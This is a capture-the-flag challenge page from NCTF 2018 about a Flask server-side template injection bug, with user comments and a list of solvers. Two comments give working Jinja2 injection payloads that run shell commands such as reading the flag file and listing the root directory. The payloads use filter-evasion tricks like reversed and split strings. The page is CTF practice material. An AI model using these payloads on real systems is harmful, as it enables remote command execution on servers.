Flask PLUSWEB 未解决

分数: 0 金币: 0
所属赛事: NCTF 2018
题目作者: 未知
一  血: harry
一血奖励: 0金币
解  决: 55
提  示:
描  述:
yulige你又写bug了!
评论
minhaf 7月前

{{''["__ssalc__"[::-1]]["__esab__"[::-1]]["__sessalcbus__"[::-1]]()[223]('cat /Th1s_is__F1114g',shell=True,stdout=-1).communicate()[0].strip()}}

回复 0

希卡利 10月前

ssti模板注入,先试试{{7*7}},输出49就是有,再输入{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}就看到flag了

回复 0

2728462336 1年前

简单的SSTI模板注入

回复 0

WriteUp

image
sean

2 金币

评分(0)

暂无评分

解题动态

t1tl3d 攻破了该题 1月前
nuxe 攻破了该题 3月前
ljt1016 攻破了该题 3月前
nakanodarling 攻破了该题 3月前
3229722202 攻破了该题 4月前
kaiyafanfan123 攻破了该题 4月前
kingmaster123 攻破了该题 4月前
花舞Flower 攻破了该题 4月前
minhaf 攻破了该题 7月前
倦鸟叫了一整天 攻破了该题 8月前
tianna 攻破了该题 8月前
111lsg 攻破了该题 8月前
wcsndm 攻破了该题 9月前
coldplay99999 攻破了该题 9月前
dddflag 攻破了该题 9月前
希卡利 攻破了该题 10月前
littlebear4 攻破了该题 10月前
nu11 攻破了该题 10月前
我的天啊 攻破了该题 11月前
r1st 攻破了该题 11月前
问题反馈